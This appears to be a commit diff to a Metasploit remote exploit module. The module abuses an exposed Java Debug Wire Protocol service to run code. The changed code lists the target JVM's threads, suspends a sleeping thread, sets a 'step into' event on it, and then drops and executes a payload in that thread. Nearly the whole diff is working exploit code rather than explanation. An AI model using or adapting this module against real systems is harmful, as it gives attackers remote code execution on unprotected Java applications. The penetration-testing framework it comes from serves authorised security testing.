@@ -49,7 +49,9 @@ class Metasploit3 < Msf::Exploit::Remote
49
49
MODKIND_THREADONLY = 2
50
50
MODKIND_CLASSMATCH = 5
51
51
MODKIND_LOCATIONONLY = 7
52
+ MODKIND_STEP = 10
52
53
EVENT_BREAKPOINT = 2
54
+ EVENT_STEP = 1
53
55
SUSPEND_EVENTTHREAD = 1
54
56
SUSPEND_ALL = 2
55
57
NOT_IMPLEMENTED = 99
@@ -60,6 +62,10 @@ class Metasploit3 < Msf::Exploit::Remote
60
62
TYPE_CLASS = 1
61
63
TAG_ARRAY = 91
62
64
TAG_VOID = 86
65
+ TAG_THREAD = 116
66
+ STEP_INTO = 0
67
+ STEP_MIN = 0
68
+ THREAD_SLEEPING_STATUS = 2
63
69
64
70
65
71
def initialize
@@ -322,6 +328,21 @@ def is_java_eight
322
328
version . downcase =~ /1[.]8[.]/
323
329
end
324
330
331
+ # Returns reference for all threads currently running on target VM
332
+ def get_all_threads
333
+ sock . put ( create_packet ( ALLTHREADS_SIG ) )
334
+ response = read_reply
335
+ num_threads = response . unpack ( 'N' ) . first
336
+ response . slice! ( 0 ..3 )
337
+
338
+ size = @vars [ "objectid_size" ]
339
+ num_threads . times do
340
+ t_id = unformat ( size , response [ 0 ..size -1 ] )
341
+ @threads [ t_id ] = nil
342
+ response . slice! ( 0 ..size -1 )
343
+ end
344
+ end
345
+
325
346
# Returns reference types for all classes currently loaded by the target VM
326
347
def get_all_classes
327
348
return unless @classes . empty?
@@ -416,20 +437,54 @@ def str_to_fq_class(s)
416
437
return classname , method
417
438
end
418
439
419
- # Resumes execution of the application after the suspend command or an event has stopped it
420
- def resume_vm
421
- sock . put ( create_packet ( RESUMEVM_SIG ) )
422
- response = read_reply
440
+ # Gets the status of a given thread
441
+ def thread_status ( thread_id )
442
+ sock . put ( create_packet ( THREADSTATUS_SIG , format ( @vars [ "objectid_size" ] , thread_id ) ) )
443
+ buf = read_reply ( datastore [ 'BREAK_TIMEOUT' ] )
444
+ unless buf
445
+ fail_with ( Exploit ::Failure ::Unknown , "No network response" )
446
+ end
447
+ status , suspend_status = buf . unpack ( 'NN' )
423
448
449
+ status
450
+ end
451
+
452
+ # Resumes execution of the application or thread after the suspend command or an event has stopped it
453
+ def resume_vm ( thread_id = nil )
454
+ if thread_id . nil?
455
+ sock . put ( create_packet ( RESUMEVM_SIG ) )
456
+ else
457
+ sock . put ( create_packet ( THREADRESUME_SIG , format ( @vars [ "objectid_size" ] , thread_id ) ) )
458
+ end
459
+
460
+ response = read_reply ( datastore [ 'BREAK_TIMEOUT' ] )
424
461
unless response
425
462
fail_with ( Exploit ::Failure ::Unknown , "No network response" )
426
463
end
464
+
465
+ response
466
+ end
467
+
468
+ # Suspend execution of the application or thread
469
+ def suspend_vm ( thread_id = nil )
470
+ if thread_id . nil?
471
+ sock . put ( create_packet ( SUSPENDVM_SIG ) )
472
+ else
473
+ sock . put ( create_packet ( THREADSUSPEND_SIG , format ( @vars [ "objectid_size" ] , thread_id ) ) )
474
+ end
475
+
476
+ response = read_reply
477
+ unless response
478
+ fail_with ( Exploit ::Failure ::Unknown , "No network response" )
479
+ end
480
+
481
+ response
427
482
end
428
483
429
484
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
430
485
def send_event ( event_code , args )
431
486
data = [ event_code ] . pack ( 'C' )
432
- data << [ SUSPEND_ALL ] . pack ( 'C' )
487
+ data << [ SUSPEND_EVENTTHREAD ] . pack ( 'C' )
433
488
data << [ args . length ] . pack ( 'N' )
434
489
435
490
args . each do |kind , option |
@@ -473,15 +528,14 @@ def force_net_event
473
528
end
474
529
475
530
# Parses a received event and compares it with the expected
476
- def parse_event_breakpoint ( buf , event_id )
477
- r_id = buf [ 6 ..9 ] . unpack ( 'N' ) [ 0 ]
478
-
479
- return nil unless event_id == r_id
480
-
531
+ def parse_event_breakpoint ( buf , event_id , thread_id )
481
532
len = @vars [ "objectid_size" ]
533
+ return false if buf . length < 10 + len - 1
534
+
535
+ r_id = buf [ 6 ..9 ] . unpack ( 'N' ) [ 0 ]
482
536
t_id = unformat ( len , buf [ 10 ..10 +len -1 ] )
483
537
484
- return r_id , t_id
538
+ return ( event_id == r_id ) && ( thread_id == t_id )
485
539
end
486
540
487
541
# Clear a defined event request
@@ -729,39 +783,35 @@ def execute_command(thread_id, cmd)
729
783
end
730
784
end
731
785
732
- # Sets a breakpoint on frequently called method (user-defined)
733
- def set_breakpoint
734
- vprint_status ( " #{ peer } - Setting breakpoint on class: #{ datastore [ 'BREAKPOINT' ] } " )
735
-
736
- # 1. Gets reference of the method where breakpoint is going to be setted
737
- classname , method = str_to_fq_class ( datastore [ 'BREAKPOINT' ] )
738
- break_class = get_class_by_name ( classname )
739
- unless break_class
740
- fail_with ( Failure :: NotFound , "Could not access #{ datastore [ 'BREAKPOINT' ] } , probably is not used by the application" )
786
+ # Set event for stepping into a running thread
787
+ def set_step_event
788
+ # 1. Select a thread in sleeping status
789
+ t_id = nil
790
+ @threads . each_key do | thread |
791
+ if thread_status ( thread ) == THREAD_SLEEPING_STATUS
792
+ t_id = thread
793
+ break
794
+ end
741
795
end
796
+ fail_with ( Failure ::Unknown , "Could not find a suitable thread for stepping" ) if t_id . nil?
742
797
743
- get_methods ( break_class [ "reftype_id" ] )
744
- m = get_method_by_name ( break_class [ "reftype_id" ] , method )
745
- unless m
746
- fail_with ( Failure ::BadConfig , "Method of Break Class not found" )
747
- end
798
+ # 2. Suspend the thread before setting the event
799
+ suspend_vm ( t_id )
748
800
749
- # 2. Sends event request for this method
750
- loc = [ TYPE_CLASS ] . pack ( 'C' )
751
- loc << format ( @vars [ "referencetypeid_size" ] , break_class [ "reftype_id" ] )
752
- loc << format ( @vars [ "methodid_size" ] , m [ "method_id" ] )
753
- loc << [ 0 , 0 ] . pack ( 'NN' )
801
+ vprint_status ( " #{ peer } - Setting 'step into' event in thread: #{ t_id } " )
802
+ step_info = format ( @vars [ "objectid_size" ] , t_id )
803
+ step_info << [ STEP_MIN ] . pack ( 'N' )
804
+ step_info << [ STEP_INTO ] . pack ( 'N' )
805
+ data = [ [ MODKIND_STEP , step_info ] ]
754
806
755
- data = [ [ MODKIND_LOCATIONONLY , loc ] ]
756
- r_id = send_event ( EVENT_BREAKPOINT , data )
807
+ r_id = send_event ( EVENT_STEP , data )
757
808
unless r_id
758
- fail_with ( Failure ::Unknown , "Could not set the breakpoint " )
809
+ fail_with ( Failure ::Unknown , "Could not set the event " )
759
810
end
760
811
761
- r_id
812
+ return r_id , t_id
762
813
end
763
814
764
-
765
815
# Uploads & executes the payload on the target VM
766
816
def exec_payload ( thread_id )
767
817
# 0. Fingerprinting OS
@@ -799,6 +849,7 @@ def exploit
799
849
@vars = { }
800
850
@classes = [ ]
801
851
@methods = { }
852
+ @threads = { }
802
853
@os = nil
803
854
804
855
connect
@@ -807,7 +858,7 @@ def exploit
807
858
fail_with ( Failure ::NotVulnerable , "JDWP Protocol not found" )
808
859
end
809
860
810
- print_status ( "#{ peer } - Retriving the sizes of variable sized data types in the target VM..." )
861
+ print_status ( "#{ peer } - Retrieving the sizes of variable sized data types in the target VM..." )
811
862
get_sizes
812
863
813
864
print_status ( "#{ peer } - Getting the version of the target VM..." )
@@ -816,37 +867,34 @@ def exploit
816
867
print_status ( "#{ peer } - Getting all currently loaded classes by the target VM..." )
817
868
get_all_classes
818
869
819
- print_status ( "#{ peer } - Setting a breakpoint on #{ datastore [ 'BREAKPOINT' ] } ..." )
820
- r_id = set_breakpoint
870
+ print_status ( "#{ peer } - Getting all running threads in the target VM..." )
871
+ get_all_threads
872
+
873
+ print_status ( "#{ peer } - Setting 'step into' event..." )
874
+ r_id , t_id = set_step_event
821
875
822
876
print_status ( "#{ peer } - Resuming VM and waiting for an event..." )
823
- resume_vm
824
-
825
- secs = datastore [ 'BREAK_TIMEOUT' ]
826
- ret = ""
827
- datastore [ 'NUM_RETRIES' ] . times do |i |
828
- print_status ( "#{ peer } - Waiting for breakpoint hit #{ i } during #{ secs } seconds..." )
829
- if datastore [ 'BREAKPOINT_PORT' ] && datastore [ 'BREAKPOINT_PORT' ] > 0
830
- force_net_event
877
+ response = resume_vm ( t_id )
878
+
879
+ unless parse_event_breakpoint ( response , r_id , t_id )
880
+ datastore [ 'NUM_RETRIES' ] . times do |i |
881
+ print_status ( "#{ peer } - Received #{ i +1 } responses that are not a 'step into' event..." )
882
+ buf = read_reply
883
+ break if parse_event_breakpoint ( buf , r_id , t_id )
884
+
885
+ if i == datastore [ 'NUM_RETRIES' ]
886
+ fail_with ( Failure ::Unknown , "Event not received in #{ datastore [ 'NUM_RETRIES' ] } attempts" )
887
+ end
831
888
end
832
- buf = read_reply ( secs )
833
- ret = parse_event_breakpoint ( buf , r_id )
834
- break unless ret . nil?
835
889
end
836
890
837
- r_id , t_id = ret
838
-
839
891
vprint_status ( "#{ peer } - Received matching event from thread #{ t_id } " )
840
-
841
- print_status ( "#{ peer } - Deleting breakpoint..." )
842
- clear_event ( EVENT_BREAKPOINT , r_id )
892
+ print_status ( "#{ peer } - Deleting step event..." )
893
+ clear_event ( EVENT_STEP , r_id )
843
894
844
895
print_status ( "#{ peer } - Dropping and executing payload..." )
845
896
exec_payload ( t_id )
846
897
847
- print_status ( "#{ peer } - Resuming the target VM, just in case..." )
848
- resume_vm
849
-
850
898
disconnect
851
899
end
852
900
end
0 commit comments